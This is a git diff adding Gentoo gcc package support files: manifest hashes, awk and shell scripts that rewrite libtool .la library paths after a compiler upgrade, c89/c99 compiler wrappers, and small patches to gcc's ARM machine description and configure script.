+DIST gcc-4.6.2.tar.bz2 71995338 RMD160 e7041933b39629f9524848dcf81a1a4c02a225c6 SHA1 691974613b1c1f15ed0182ec539fa54a12dd6f93 SHA256 60b05463dfe18d40d68fb8a71b25b408a01f86cc6ceaf5e6b22238b6b0f450c2
+DIST gcc-4.6.3-patches-1.3.tar.bz2 83071 RMD160 4e8c94ce83421ed1138439f946321763803b3157 SHA1 b05f96f1741828fb13ca23f0bd057223de1908ab SHA256 0acc8494932259dbadc118587626bb2505fc565e1a862bb792116e08961c141a
+DIST gcc-4.6.3-piepatches-v0.5.2.tar.bz2 15002 RMD160 75f25287ded26fd8ae88516b0b72d21fc0f17296 SHA1 8a1848819bc9c3e00513e68abded115410f25f78 SHA256 6606d47a8bbaa9cba0dd3b022cbf6ed14325b8560dd17f7601dbaa4697df3691
+DIST gcc-4.6.3-uclibc-patches-1.0.tar.bz2 3023 RMD160 6487e89d892687c51f4d764979c90133ae4c0a07 SHA1 26581caab046ba4a03041557db641f2899d518af SHA256 4219a3582c5f98bf8437bfc3feb8c264f8aabd8078caaddef46dd38be33f089f
+DIST gcc-4.6.3.tar.bz2 71999439 RMD160 9abb2f940d08fc84f2d91b6a6ce8d662ca889269 SHA1 ce317ca5c8185b58bc9300182b534608c578637f SHA256 e8f5853d4eec2f5ebaf8a72ae4d53c436aacf98153b2499f8635b48c4718a093
+EBUILD gcc-4.5.3-r2.ebuild 3435 RMD160 1757d1e88359367810dd3a27aa921b2e329fc8ca SHA1 3f1534bc85393d68e33c301412eb4e2809d5133e SHA256 ce6f171cc959390a354d6466056eba94cde85c909b23dff98554a892df0332b8
+EBUILD gcc-4.6.2.ebuild 4114 RMD160 b9ffb3a8ecea9242393120803026fb99dcea203e SHA1 198c4f778226a2c87285a4a006b941da4631523b SHA256 638237c3c6e70e5357aff1ff19a58183de120cfd658473db431d9037ad3362b7
+EBUILD gcc-4.6.3.ebuild 5495 RMD160 039dbf2a7f5a84ebfb8dc4538eb9c4e3d21d4362 SHA1 4324fe2d0bd26867f0586ca1c866251ff4e58db2 SHA256 82e72b1bff5cf52fd10f2b7be70eb5709ae0635ce5325d30240c2e0aba0fcda1
+MISC metadata.xml 1780 RMD160 0fa658c47436e17235cd03b5a9a3cbd8448e474b SHA1 127adff4704c040ee42d43bd9ea8218b408203cf SHA256 57d7428c3d0ef34e72e780a3cfa7a059202b5c80f2d61cc12f90f0d1e8f5f12e
diff --git a/sys-devel/gcc/files/awk/fixlafiles.awk b/sys-devel/gcc/files/awk/fixlafiles.awk
new file mode 100644
index 00000000..ffade966
--- /dev/null
+++ b/sys-devel/gcc/files/awk/fixlafiles.awk
@@ -0,0 +1,314 @@
+# Copyright 1999-2005 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/sys-devel/gcc/files/awk/fixlafiles.awk,v 1.15 2008/02/19 05:47:29 vapier Exp $
+
+#
+# Helper functions
+#
+function printn(string) {
+	printf("%s", string)
+}
+function einfo(string) {
+	printf(" \033[32;01m*\033[0m %s\n", string)
+}
+function einfon(string) {
+	printf(" \033[32;01m*\033[0m %s", string)
+}
+function ewarn(string) {
+	printf(" \033[33;01m*\033[0m %s\n", string)
+}
+function ewarnn(string) {
+	printf(" \033[33;01m*\033[0m %s", string)
+}
+function eerror(string) {
+	printf(" \033[31;01m*\033[0m %s\n", string)
+}
+
+#
+# assert(condition, errmsg)
+#   assert that a condition is true.  Otherwise exit.
+#
+function assert(condition, string) {
+	if (! condition) {
+		printf("%s:%d: assertion failed: %s\n",
+		       FILENAME, FNR, string) > "/dev/stderr"
+		_assert_exit = 1
+		exit 1
+	}
+}
+
+#
+# system(command, return)
+#   wrapper that normalizes return codes ...
+#
+function dosystem(command, ret) {
+	ret = 0
+	ret = system(command)
+	if (ret == 0)
+		return 1
+	else
+		return 0
+}
+
+BEGIN {
+	#
+	# Get our variables from environment
+	#
+	OLDVER = ENVIRON["OLDVER"]
+	OLDCHOST = ENVIRON["OLDCHOST"]
+
+	if (OLDVER == "") {
+		eerror("Could not get OLDVER!");
+		exit 1
+	}
+
+	# Setup some sane defaults
+	LIBCOUNT = 2
+	HAVE_GCC34 = 0
+	DIRLIST[1] = "/lib"
+	DIRLIST[2] = "/usr/lib"
+
+	#
+	# Walk /etc/ld.so.conf to discover all our library paths
+	#
+	pipe = "cat /etc/ld.so.conf | sort 2>/dev/null"
+	while(((pipe) | getline ldsoconf_data) > 0) {
+		if (ldsoconf_data !~ /^[[:space:]]*#/) {
+			if (ldsoconf_data == "") continue
+
+			# Remove any trailing comments
+			sub(/#.*$/, "", ldsoconf_data)
+			# Remove any trailing spaces
+			sub(/[[:space:]]+$/, "", ldsoconf_data)
+
+			# If there's more than one path per line, split 
+			# it up as if they were sep lines
+			split(ldsoconf_data, nodes, /[:,[:space:]]/)
+
+			# Now add the rest from ld.so.conf
+			for (x in nodes) {
+				# wtf does this line do ?
+				sub(/=.*/, "", nodes[x])
+				# Prune trailing /
+				sub(/\/$/, "", nodes[x])
+
+				if (nodes[x] == "") continue
+
+				#
+				# Drop the directory if its a child directory of
+				# one that was already added ...
+				# For example, if we have:
+				#   /usr/lib /usr/libexec /usr/lib/mozilla /usr/lib/nss
+				# We really just want to save /usr/lib /usr/libexec
+				#
+				CHILD = 0
+				for (y in DIRLIST) {
+					if (nodes[x] ~ "^" DIRLIST[y] "(/|$)") {
+						CHILD = 1
+						break
+					}
+				}
+				if (CHILD) continue
+
+				DIRLIST[++LIBCOUNT] = nodes[x]
+			}
+		}
+	}
+	close(pipe)
+
+	#
+	# Get line from gcc's output containing CHOST
+	#
+	pipe = "gcc -print-file-name=libgcc.a 2>/dev/null"
+	if ((!((pipe) | getline TMP_CHOST)) || (TMP_CHOST == "")) {
+		close(pipe)
+
+		# If we fail to get the CHOST, see if we can get the CHOST
+		# portage thinks we are using ...
+		pipe = "/usr/bin/portageq envvar 'CHOST'"
+		assert(((pipe) | getline CHOST), "(" pipe ") | getline CHOST")
+	} else {
+		# Check pre gcc-3.4.x versions
+		CHOST = gensub("^.+lib/gcc-lib/([^/]+)/[0-9]+.+$", "\\1", 1, TMP_CHOST)
+
+		if (CHOST == TMP_CHOST || CHOST == "") {
+			# Check gcc-3.4.x or later
+			CHOST = gensub("^.+lib/gcc/([^/]+)/[0-9]+.+$", "\\1", 1, TMP_CHOST);
+
+			if (CHOST == TMP_CHOST || CHOST == "")
+				CHOST = ""
+			else
+				HAVE_GCC34 = 1
+		}
+	}
+	close(pipe)
+
+	if (CHOST == "") {
+		eerror("Could not get gcc's CHOST!")
+		exit 1
+	}
+
+	if (OLDCHOST != "")
+		if (OLDCHOST == CHOST)
+			OLDCHOST = ""
+
+	GCCLIBPREFIX_OLD = "/usr/lib/gcc-lib/"
+	GCCLIBPREFIX_NEW = "/usr/lib/gcc/"
+
+	if (HAVE_GCC34)
+		GCCLIBPREFIX = GCCLIBPREFIX_NEW
+	else
+		GCCLIBPREFIX = GCCLIBPREFIX_OLD
+
+	GCCLIB = GCCLIBPREFIX CHOST
+
+	if (OLDCHOST != "") {
+		OLDGCCLIB1 = GCCLIBPREFIX_OLD OLDCHOST
+		OLDGCCLIB2 = GCCLIBPREFIX_NEW OLDCHOST
+	}
+
+	# Get current gcc's version
+	pipe = "gcc -dumpversion"
+	assert(((pipe) | getline NEWVER), "(" pipe ") | getline NEWVER)")
+	close(pipe)
+
+	if (NEWVER == "") {
+		eerror("Could not get gcc's version!")
+		exit 1
+	}
+
+	# Nothing to do ?
+	if ((OLDVER == NEWVER) && (OLDCHOST == ""))
+		exit 0
+
+	#
+	# Ok, now let's scan for the .la files and actually fix them up
+	#
+	for (x = 1; x <= LIBCOUNT; x++) {
+		# Do nothing if the target dir is gcc's internal library path
+		if (DIRLIST[x] ~ GCCLIBPREFIX_OLD ||
+		    DIRLIST[x] ~ GCCLIBPREFIX_NEW)
+			continue
+
+		einfo("  [" x "/" LIBCOUNT "] Scanning " DIRLIST[x] " ...")
+
+		pipe = "find " DIRLIST[x] "/ -name '*.la' 2>/dev/null"
+		while (((pipe) | getline la_files) > 0) {
+
+			# Do nothing if the .la file is located in gcc's internal lib path
+			if (la_files ~ GCCLIBPREFIX_OLD ||
+			    la_files ~ GCCLIBPREFIX_NEW)
+				continue
+
+			CHANGED = 0
+			CHOST_CHANGED = 0
+
+			# See if we need to fix the .la file
+			while ((getline la_data < (la_files)) > 0) {
+				if (OLDCHOST != "") {
+					if ((gsub(OLDGCCLIB1 "[/[:space:]]+",
+					          GCCLIB, la_data) > 0) ||
+					    (gsub(OLDGCCLIB2 "[/[:space:]]+",
+					          GCCLIB, la_data) > 0)) {
+						CHANGED = 1
+						CHOST_CHANGED = 1
+					}
+				}
+				if (OLDVER != NEWVER) {
+					if ((gsub(GCCLIBPREFIX_OLD CHOST "/" OLDVER "[/[:space:]]*",
+					          GCCLIB "/" NEWVER, la_data) > 0) ||
+					    (gsub(GCCLIBPREFIX_NEW CHOST "/" OLDVER "[/[:space:]]*",
+					          GCCLIB "/" NEWVER, la_data) > 0))
+						CHANGED = 1
+				}
+			}
+			close(la_files)
+
+			# Do the actual changes in a second loop, as we can then
+			# verify that CHOST_CHANGED among things is correct ...
+			if (CHANGED) {
+				ewarnn("    FIXING: " la_files " ...")
+
+				if (CHANGED)
+					printn("[")
+
+				# Clear the temp file (removing rather than '>foo' is better
+				# out of a security point of view?)
+				dosystem("rm -f " la_files ".new")
+
+				while ((getline la_data < (la_files)) > 0) {
+					if (OLDCHOST != "") {
+						tmpstr = gensub(OLDGCCLIB1 "([/[:space:]]+)",
+						                GCCLIB "\\1", "g", la_data)
+						tmpstr = gensub(OLDGCCLIB2 "([/[:space:]]+)",
+						                GCCLIB "\\1", "g", tmpstr)
+
+						if (la_data != tmpstr) {
+							printn("c")
+							la_data = tmpstr
+						}
+
+						if (CHOST_CHANGED > 0) {
+							# We try to be careful about CHOST changes outside
+							# the gcc library path (meaning we cannot match it
+							# via /GCCLIBPREFIX CHOST/) ...
+
+							# Catch:
+							#
+							#  dependency_libs=' -L/usr/CHOST/{bin,lib}'
+							#
+							gsub("-L/usr/" OLDCHOST "/",
+							     "-L/usr/" CHOST "/", la_data)
+							# Catch:
+							#
+							#  dependency_libs=' -L/usr/lib/gcc-lib/CHOST/VER/../../../../CHOST/lib'
+							#
+							la_data = gensub("(" GCCLIB "/[^[:space:]]+)/" OLDCHOST "/",
+							                 "\\1/" CHOST "/", "g", la_data)
+						}
+					}
+
+					if (OLDVER != NEWVER) {
+						# Catch:
+						#
+						#  dependency_libs=' -L/usr/lib/gcc/CHOST/VER'
+						#
+						tmpstr = gensub(GCCLIBPREFIX_OLD CHOST "/" OLDVER "([/[:space:]]+)",
+						                GCCLIB "/" NEWVER "\\1", "g", la_data)
+						tmpstr = gensub(GCCLIBPREFIX_NEW CHOST "/" OLDVER "([/[:space:]]+)",
+						                GCCLIB "/" NEWVER "\\1", "g", tmpstr)
+
+						if (la_data != tmpstr) {
+							# Catch:
+							#
+							#  dependency_libs=' -L/usr/lib/gcc-lib/../../CHOST/lib'
+							#
+							# in cases where we have gcc34
+							tmpstr = gensub(GCCLIBPREFIX_OLD "(../../" CHOST "/lib)",
+							                GCCLIBPREFIX "\\1", "g", tmpstr)
+							tmpstr = gensub(GCCLIBPREFIX_NEW "(../../" CHOST "/lib)",
+							                GCCLIBPREFIX "\\1", "g", tmpstr)
+							printn("v")
+							la_data = tmpstr
+						}
+					}
+
+					print la_data >> (la_files ".new")
+				}
+
+				if (CHANGED)
+					print "]"
+
+				close(la_files)
+				close(la_files ".new")
+
+				assert(dosystem("mv -f " la_files ".new " la_files),
+				       "dosystem(\"mv -f " la_files ".new " la_files "\")")
+			}
+		}
+
+		close(pipe)
+	}
+}
+
+# vim:ts=4
diff --git a/sys-devel/gcc/files/awk/fixlafiles.awk-no_gcc_la b/sys-devel/gcc/files/awk/fixlafiles.awk-no_gcc_la
new file mode 100644
index 00000000..346bd16f
--- /dev/null
+++ b/sys-devel/gcc/files/awk/fixlafiles.awk-no_gcc_la
@@ -0,0 +1,335 @@
+# Copyright 1999-2005 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/sys-devel/gcc/files/awk/fixlafiles.awk-no_gcc_la,v 1.4 2010/03/19 23:53:07 vapier Exp $
+
+#
+# Helper functions
+#
+function printn(string) {
+	printf("%s", string)
+}
+function einfo(string) {
+	printf(" \033[32;01m*\033[0m %s\n", string)
+}
+function einfon(string) {
+	printf(" \033[32;01m*\033[0m %s", string)
+}
+function ewarn(string) {
+	printf(" \033[33;01m*\033[0m %s\n", string)
+}
+function ewarnn(string) {
+	printf(" \033[33;01m*\033[0m %s", string)
+}
+function eerror(string) {
+	printf(" \033[31;01m*\033[0m %s\n", string)
+}
+
+#
+# assert(condition, errmsg)
+#   assert that a condition is true.  Otherwise exit.
+#
+function assert(condition, string) {
+	if (! condition) {
+		printf("%s:%d: assertion failed: %s\n",
+		       FILENAME, FNR, string) > "/dev/stderr"
+		_assert_exit = 1
+		exit 1
+	}
+}
+
+#
+# system(command, return)
+#   wrapper that normalizes return codes ...
+#
+function dosystem(command, ret) {
+	ret = 0
+	ret = system(command)
+	if (ret == 0)
+		return 1
+	else
+		return 0
+}
+
+#
+# parse_ld_conf(config_file)
+#
+function parse_ld_conf(conf,    pipe, ldsoconf_data, CHILD, y) {
+	pipe = "cd /etc; cat " conf " | sort 2>/dev/null"
+	while(((pipe) | getline ldsoconf_data) > 0) {
+		if (ldsoconf_data ~ /^[[:space:]]*#/)
+			continue
+		if (ldsoconf_data == "")
+			continue
+
+		# Handle the "include" keyword
+		if (ldsoconf_data ~ /^include /) {
+			sub(/^include /, "", ldsoconf_data)
+			parse_ld_conf(ldsoconf_data)
+			continue
+		}
+
+		# Remove any trailing comments
+		sub(/#.*$/, "", ldsoconf_data)
+		# Remove any trailing spaces
+		sub(/[[:space:]]+$/, "", ldsoconf_data)
+		# Eat duplicate slashes
+		sub(/\/\//, "/", ldsoconf_data)
+		# Prune trailing /
+		sub(/\/$/, "", ldsoconf_data)
+
+		#
+		# Drop the directory if its a child directory of
+		# one that was already added ...
+		# For example, if we have:
+		#   /usr/lib /usr/libexec /usr/lib/mozilla /usr/lib/nss
+		# We really just want to save /usr/lib /usr/libexec
+		#
+		CHILD = 0
+		for (y in DIRLIST) {
+			if (ldsoconf_data ~ "^" DIRLIST[y] "(/|$)") {
+				CHILD = 1
+				break
+			}
+		}
+		if (CHILD) continue
+
+		DIRLIST[++LIBCOUNT] = ldsoconf_data
+	}
+	close(pipe)
+}
+
+BEGIN {
+	#
+	# Get our variables from environment
+	#
+	OLDVER = ENVIRON["OLDVER"]
+	OLDCHOST = ENVIRON["OLDCHOST"]
+
+	if (OLDVER == "") {
+		eerror("Could not get OLDVER!");
+		exit 1
+	}
+
+	# Setup some sane defaults
+	LIBCOUNT = 2
+	HAVE_GCC34 = 0
+	DIRLIST[1] = "/lib"
+	DIRLIST[2] = "/usr/lib"
+
+	#
+	# Walk /etc/ld.so.conf to discover all our library paths
+	#
+	parse_ld_conf("/etc/ld.so.conf")
+
+	#
+	# Get line from gcc's output containing CHOST
+	#
+	pipe = "gcc -print-file-name=libgcc.a 2>/dev/null"
+	if ((!((pipe) | getline TMP_CHOST)) || (TMP_CHOST == "")) {
+		close(pipe)
+
+		# If we fail to get the CHOST, see if we can get the CHOST
+		# portage thinks we are using ...
+		pipe = "/usr/bin/portageq envvar 'CHOST'"
+		assert(((pipe) | getline CHOST), "(" pipe ") | getline CHOST")
+	} else {
+		# Check pre gcc-3.4.x versions
+		CHOST = gensub("^.+lib/gcc-lib/([^/]+)/[0-9]+.+$", "\\1", 1, TMP_CHOST)
+
+		if (CHOST == TMP_CHOST || CHOST == "") {
+			# Check gcc-3.4.x or later
+			CHOST = gensub("^.+lib/gcc/([^/]+)/[0-9]+.+$", "\\1", 1, TMP_CHOST);
+
+			if (CHOST == TMP_CHOST || CHOST == "")
+				CHOST = ""
+			else
+				HAVE_GCC34 = 1
+		}
+	}
+	close(pipe)
+
+	if (CHOST == "") {
+		eerror("Could not get gcc's CHOST!")
+		exit 1
+	}
+
+	if (OLDCHOST != "")
+		if (OLDCHOST == CHOST)
+			OLDCHOST = ""
+
+	GCCLIBPREFIX_OLD = "/usr/lib/gcc-lib/"
+	GCCLIBPREFIX_NEW = "/usr/lib/gcc/"
+
+	if (HAVE_GCC34)
+		GCCLIBPREFIX = GCCLIBPREFIX_NEW
+	else
+		GCCLIBPREFIX = GCCLIBPREFIX_OLD
+
+	GCCLIB = GCCLIBPREFIX CHOST
+
+	if (OLDCHOST != "") {
+		OLDGCCLIB1 = GCCLIBPREFIX_OLD OLDCHOST
+		OLDGCCLIB2 = GCCLIBPREFIX_NEW OLDCHOST
+	}
+
+	# Get current gcc's version
+	pipe = "gcc -dumpversion"
+	assert(((pipe) | getline NEWVER), "(" pipe ") | getline NEWVER)")
+	close(pipe)
+
+	if (NEWVER == "") {
+		eerror("Could not get gcc's version!")
+		exit 1
+	}
+
+	# Nothing to do ?
+	# NB: Do not check for (OLDVER == NEWVER) anymore, as we might need to
+	#     replace libstdc++.la ....
+	if ((OLDVER == "") && (OLDCHOST == ""))
+		exit 0
+
+	#
+	# Ok, now let's scan for the .la files and actually fix them up
+	#
+	for (x = 1; x <= LIBCOUNT; x++) {
+		# Do nothing if the target dir is gcc's internal library path
+		if (DIRLIST[x] ~ GCCLIBPREFIX_OLD ||
+		    DIRLIST[x] ~ GCCLIBPREFIX_NEW)
+			continue
+
+		einfo("  [" x "/" LIBCOUNT "] Scanning " DIRLIST[x] " ...")
+
+		pipe = "find " DIRLIST[x] "/ -name '*.la' 2>/dev/null"
+		while (((pipe) | getline la_files) > 0) {
+
+			# Do nothing if the .la file is located in gcc's internal lib path
+			if (la_files ~ GCCLIBPREFIX_OLD ||
+			    la_files ~ GCCLIBPREFIX_NEW)
+				continue
+
+			CHANGED = 0
+			CHOST_CHANGED = 0
+
+			# See if we need to fix the .la file
+			while ((getline la_data < (la_files)) > 0) {
+				if (OLDCHOST != "") {
+					if ((gsub(OLDGCCLIB1 "[/[:space:]]+",
+					          GCCLIB, la_data) > 0) ||
+					    (gsub(OLDGCCLIB2 "[/[:space:]]+",
+					          GCCLIB, la_data) > 0)) {
+						CHANGED = 1
+						CHOST_CHANGED = 1
+					}
+				}
+				if (OLDVER != NEWVER) {
+					if ((gsub(GCCLIBPREFIX_OLD CHOST "/" OLDVER "[/[:space:]]*",
+					          GCCLIB "/" NEWVER, la_data) > 0) ||
+					    (gsub(GCCLIBPREFIX_NEW CHOST "/" OLDVER "[/[:space:]]*",
+					          GCCLIB "/" NEWVER, la_data) > 0))
+						CHANGED = 1
+				}
+				# We now check if we have libstdc++.la, as we remove the
+				# libtool linker scripts for gcc ...
+				# We do this last, as we only match the new paths
+				if (gsub(GCCLIB "/" NEWVER "/libstdc\\+\\+\\.la",
+				         "-lstdc++", la_data) > 0)
+					CHANGED = 1
+			}
+			close(la_files)
+
+			# Do the actual changes in a second loop, as we can then
+			# verify that CHOST_CHANGED among things is correct ...
+			if (CHANGED) {
+				ewarnn("    FIXING: " la_files " ...[")
+
+				# Clear the temp file (removing rather than '>foo' is better
+				# out of a security point of view?)
+				dosystem("rm -f " la_files ".new")
+
+				while ((getline la_data < (la_files)) > 0) {
+					if (OLDCHOST != "") {
+						tmpstr = gensub(OLDGCCLIB1 "([/[:space:]]+)",
+						                GCCLIB "\\1", "g", la_data)
+						tmpstr = gensub(OLDGCCLIB2 "([/[:space:]]+)",
+						                GCCLIB "\\1", "g", tmpstr)
+
+						if (la_data != tmpstr) {
+							printn("c")
+							la_data = tmpstr
+						}
+
+						if (CHOST_CHANGED > 0) {
+							# We try to be careful about CHOST changes outside
+							# the gcc library path (meaning we cannot match it
+							# via /GCCLIBPREFIX CHOST/) ...
+
+							# Catch:
+							#
+							#  dependency_libs=' -L/usr/CHOST/{bin,lib}'
+							#
+							gsub("-L/usr/" OLDCHOST "/",
+							     "-L/usr/" CHOST "/", la_data)
+							# Catch:
+							#
+							#  dependency_libs=' -L/usr/lib/gcc-lib/CHOST/VER/../../../../CHOST/lib'
+							#
+							la_data = gensub("(" GCCLIB "/[^[:space:]]+)/" OLDCHOST "/",
+							                 "\\1/" CHOST "/", "g", la_data)
+						}
+					}
+
+					if (OLDVER != NEWVER) {
+						# Catch:
+						#
+						#  dependency_libs=' -L/usr/lib/gcc/CHOST/VER'
+						#
+						tmpstr = gensub(GCCLIBPREFIX_OLD CHOST "/" OLDVER "([/[:space:]]+)",
+						                GCCLIB "/" NEWVER "\\1", "g", la_data)
+						tmpstr = gensub(GCCLIBPREFIX_NEW CHOST "/" OLDVER "([/[:space:]]+)",
+						                GCCLIB "/" NEWVER "\\1", "g", tmpstr)
+
+						if (la_data != tmpstr) {
+							# Catch:
+							#
+							#  dependency_libs=' -L/usr/lib/gcc-lib/../../CHOST/lib'
+							#
+							# in cases where we have gcc34
+							tmpstr = gensub(GCCLIBPREFIX_OLD "(../../" CHOST "/lib)",
+							                GCCLIBPREFIX "\\1", "g", tmpstr)
+							tmpstr = gensub(GCCLIBPREFIX_NEW "(../../" CHOST "/lib)",
+							                GCCLIBPREFIX "\\1", "g", tmpstr)
+							printn("v")
+							la_data = tmpstr
+						}
+					}
+
+					# We now check if we have libstdc++.la, as we remove the
+					# libtool linker scripts for gcc and any referencese in any
+					# libtool linker scripts.
+					# We do this last, as we only match the new paths
+					tmpstr = gensub(GCCLIB "/" NEWVER "/libstdc\\+\\+\\.la",
+					                "-lstdc++", "g", la_data);
+					if (la_data != tmpstr) {
+						printn("l")
+						la_data = tmpstr
+					}
+					
+					print la_data >> (la_files ".new")
+				}
+
+				if (CHANGED)
+					print "]"
+
+				close(la_files)
+				close(la_files ".new")
+
+				assert(dosystem("mv -f " la_files ".new " la_files),
+				       "dosystem(\"mv -f " la_files ".new " la_files "\")")
+			}
+		}
+
+		close(pipe)
+	}
+}
+
+# vim:ts=4
diff --git a/sys-devel/gcc/files/c89 b/sys-devel/gcc/files/c89
new file mode 100755
index 00000000..cee0325f
--- /dev/null
+++ b/sys-devel/gcc/files/c89
@@ -0,0 +1,20 @@
+#! /bin/sh
+
+# Call the appropriate C compiler with options to accept ANSI/ISO C
+# The following options are the same (as of gcc-2.95):
+# 	-ansi
+# 	-std=c89
+# 	-std=iso9899:1990
+
+for i; do
+    case "$i" in
+	-ansi|-std=c89|-std=iso9899:1990)
+	    ;;
+	-std=*)
+	    echo >&2 "`basename $0` called with non ANSI/ISO C90 option $i"
+	    exit 1
+	    ;;
+    esac
+done
+
+exec gcc -std=c89 -pedantic -U_FORTIFY_SOURCE "$@"
diff --git a/sys-devel/gcc/files/c99 b/sys-devel/gcc/files/c99
new file mode 100755
index 00000000..c9542095
--- /dev/null
+++ b/sys-devel/gcc/files/c99
@@ -0,0 +1,21 @@
+#! /bin/sh
+
+# Call the appropriate C compiler with options to accept ANSI/ISO C
+# The following options are the same (as of gcc-3.3):
+# 	-std=c99
+# 	-std=c9x
+# 	-std=iso9899:1999
+# 	-std=iso9899:199x
+
+for i; do
+    case "$i" in
+	-std=c9[9x]|-std=iso9899:199[9x])
+	    ;;
+	-ansi|-std=*)
+	    echo >&2 "`basename $0` called with non ANSI/ISO C99 option $i"
+	    exit 1
+	    ;;
+    esac
+done
+
+exec gcc -std=c99 -pedantic -U_FORTIFY_SOURCE ${1+"$@"}
diff --git a/sys-devel/gcc/files/fix_libtool_files.sh b/sys-devel/gcc/files/fix_libtool_files.sh
new file mode 100644
index 00000000..c3a3c61f
--- /dev/null
+++ b/sys-devel/gcc/files/fix_libtool_files.sh
@@ -0,0 +1,72 @@
+#!/bin/bash
+# Copyright 1999-2007 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/sys-devel/gcc/files/fix_libtool_files.sh,v 1.14 2007/09/06 11:00:44 uberlord Exp $
+
+usage() {
+cat << "USAGE_END"
+Usage: fix_libtool_files.sh <old-gcc-version> [--oldarch <old-CHOST>]
+
+    Where <old-gcc-version> is the version number of the
+    previous gcc version.  For example, if you updated to
+    gcc-3.2.1, and you had gcc-3.2 installed, run:
+
+      # fix_libtool_files.sh 3.2
+
+    If you updated to gcc-3.2.3, and the old CHOST was i586-pc-linux-gnu
+    but you now have CHOST as i686-pc-linux-gnu, run:
+
+      # fix_libtool_files.sh 3.2 --oldarch i586-pc-linux-gnu
+
+    Note that if only the CHOST and not the version changed, you can run
+    it with the current version and the '--oldarch <old-CHOST>' arguments,
+    and it will do the expected:
+
+      # fix_libtool_files.sh `gcc -dumpversion` --oldarch i586-pc-linux-gnu
+
+USAGE_END
+	exit 1
+}
+
+if [[ $2 != "--oldarch" && $# -ne 1 ]] || \
+   [[ $2 == "--oldarch" && $# -ne 3 ]]
+then
+	usage
+fi
+
+ARGV1=$1
+ARGV2=$2
+ARGV3=$3
+
+source /etc/profile || exit 1
+source /etc/init.d/functions.sh || exit 1
+
+if [[ ${EUID} -ne 0 ]] ; then
+	eerror "${0##*/}: Must be root."
+	exit 1
+fi
+
+# make sure the files come out sane
+umask 0022
+
+if [[ ${ARGV2} == "--oldarch" ]] && [[ -n ${ARGV3} ]] ; then
+	OLDCHOST=${ARGV3}
+else
+	OLDCHOST=
+fi
+
+AWKDIR="/lib/rcscripts/awk"
+
+if [[ ! -r ${AWKDIR}/fixlafiles.awk ]] ; then
+	eerror "${0##*/}: ${AWKDIR}/fixlafiles.awk does not exist!"
+	exit 1
+fi
+
+OLDVER=${ARGV1}
+
+export OLDVER OLDCHOST
+
+einfo "Scanning libtool files for hardcoded gcc library paths..."
+gawk -f "${AWKDIR}/fixlafiles.awk"
+
+# vim:ts=4
diff --git a/sys-devel/gcc/files/gcc-4.6.2-fix-ICE-on-arm.patch b/sys-devel/gcc/files/gcc-4.6.2-fix-ICE-on-arm.patch
new file mode 100644
index 00000000..3f9f69ae
--- /dev/null
+++ b/sys-devel/gcc/files/gcc-4.6.2-fix-ICE-on-arm.patch
@@ -0,0 +1,24 @@
+--- a/gcc/config/arm/arm.md
++++ b/gcc/config/arm/arm.md
+@@ -4202,7 +4202,9 @@
+    #
+    ldr%(h%)\\t%0, %1"
+   [(set_attr "type" "alu_shift,load_byte")
+-   (set_attr "predicable" "yes")]
++   (set_attr "predicable" "yes")
++   (set_attr "pool_range" "*,256")
++   (set_attr "neg_pool_range" "*,244")]
+ )
+ 
+ (define_insn "*arm_zero_extendhisi2_v6"
+@@ -4213,7 +4215,9 @@
+    uxth%?\\t%0, %1
+    ldr%(h%)\\t%0, %1"
+   [(set_attr "type" "alu_shift,load_byte")
+-   (set_attr "predicable" "yes")]
++   (set_attr "predicable" "yes")
++   (set_attr "pool_range" "*,256")
++   (set_attr "neg_pool_range" "*,244")]
+ )
+ 
+ (define_insn "*arm_zero_extendhisi2addsi"
diff --git a/sys-devel/gcc/files/gcc-configure-LANG.patch b/sys-devel/gcc/files/gcc-configure-LANG.patch
new file mode 100644
index 00000000..d1b1b035
--- /dev/null
+++ b/sys-devel/gcc/files/gcc-configure-LANG.patch
@@ -0,0 +1,64 @@
+The LANG vars aren't reset early enough so when sed tries to use [a-zA-Z] in 
+option parsing, it may break.
+
+http://bugs.gentoo.org/103483
+
+--- configure
++++ configure
+@@ -54,6 +54,19 @@
+ infodir='${prefix}/info'
+ mandir='${prefix}/man'
+ 
++# NLS nuisances.
++for as_var in \
++  LANG LANGUAGE LC_ADDRESS LC_ALL LC_COLLATE LC_CTYPE LC_IDENTIFICATION \
++  LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER \
++  LC_TELEPHONE LC_TIME
++do
++  if (set +x; test -z "`(eval $as_var=C; export $as_var) 2>&1`"); then
++    eval $as_var=C; export $as_var
++  else
++    unset $as_var
++  fi
++done
++
+ # Initialize some other variables.
+ subdirs=
+ MFLAGS= MAKEFLAGS=
+@@ -452,16 +463,6 @@
+   esac
+ done
+ 
+-# NLS nuisances.
+-# Only set these to C if already set.  These must not be set unconditionally
+-# because not all systems understand e.g. LANG=C (notably SCO).
+-# Fixing LC_MESSAGES prevents Solaris sh from translating var values in `set'!
+-# Non-C LC_CTYPE values break the ctype check.
+-if test "${LANG+set}"   = set; then LANG=C;   export LANG;   fi
+-if test "${LC_ALL+set}" = set; then LC_ALL=C; export LC_ALL; fi
+-if test "${LC_MESSAGES+set}" = set; then LC_MESSAGES=C; export LC_MESSAGES; fi
+-if test "${LC_CTYPE+set}"    = set; then LC_CTYPE=C;    export LC_CTYPE;    fi
+-
+ # confdefs.h avoids OS command line length limits that DEFS can exceed.
+ rm -rf conftest* confdefs.h
+ # AIX cpp loses on an empty file, so make sure it contains at least a newline.
+@@ -1850,6 +1850,19 @@
+ # Compiler output produced by configure, useful for debugging
+ # configure, is in ./config.log if it exists.
+ 
++# NLS nuisances.
++for as_var in \
++  LANG LANGUAGE LC_ADDRESS LC_ALL LC_COLLATE LC_CTYPE LC_IDENTIFICATION \
++  LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER \
++  LC_TELEPHONE LC_TIME
++do
++  if (set +x; test -z "`(eval \$as_var=C; export \$as_var) 2>&1`"); then
++    eval \$as_var=C; export \$as_var
++  else
++    unset \$as_var
++  fi
++done
++
+ ac_cs_usage="Usage: $CONFIG_STATUS [--recheck] [--version] [--help]"
+ for ac_option
+ do
diff --git a/sys-devel/gcc/files/gcc-configure-texinfo.patch b/sys-devel/gcc/files/gcc-configure-texinfo.patch
new file mode 100644
index 00000000..ddc098dd
--- /dev/null
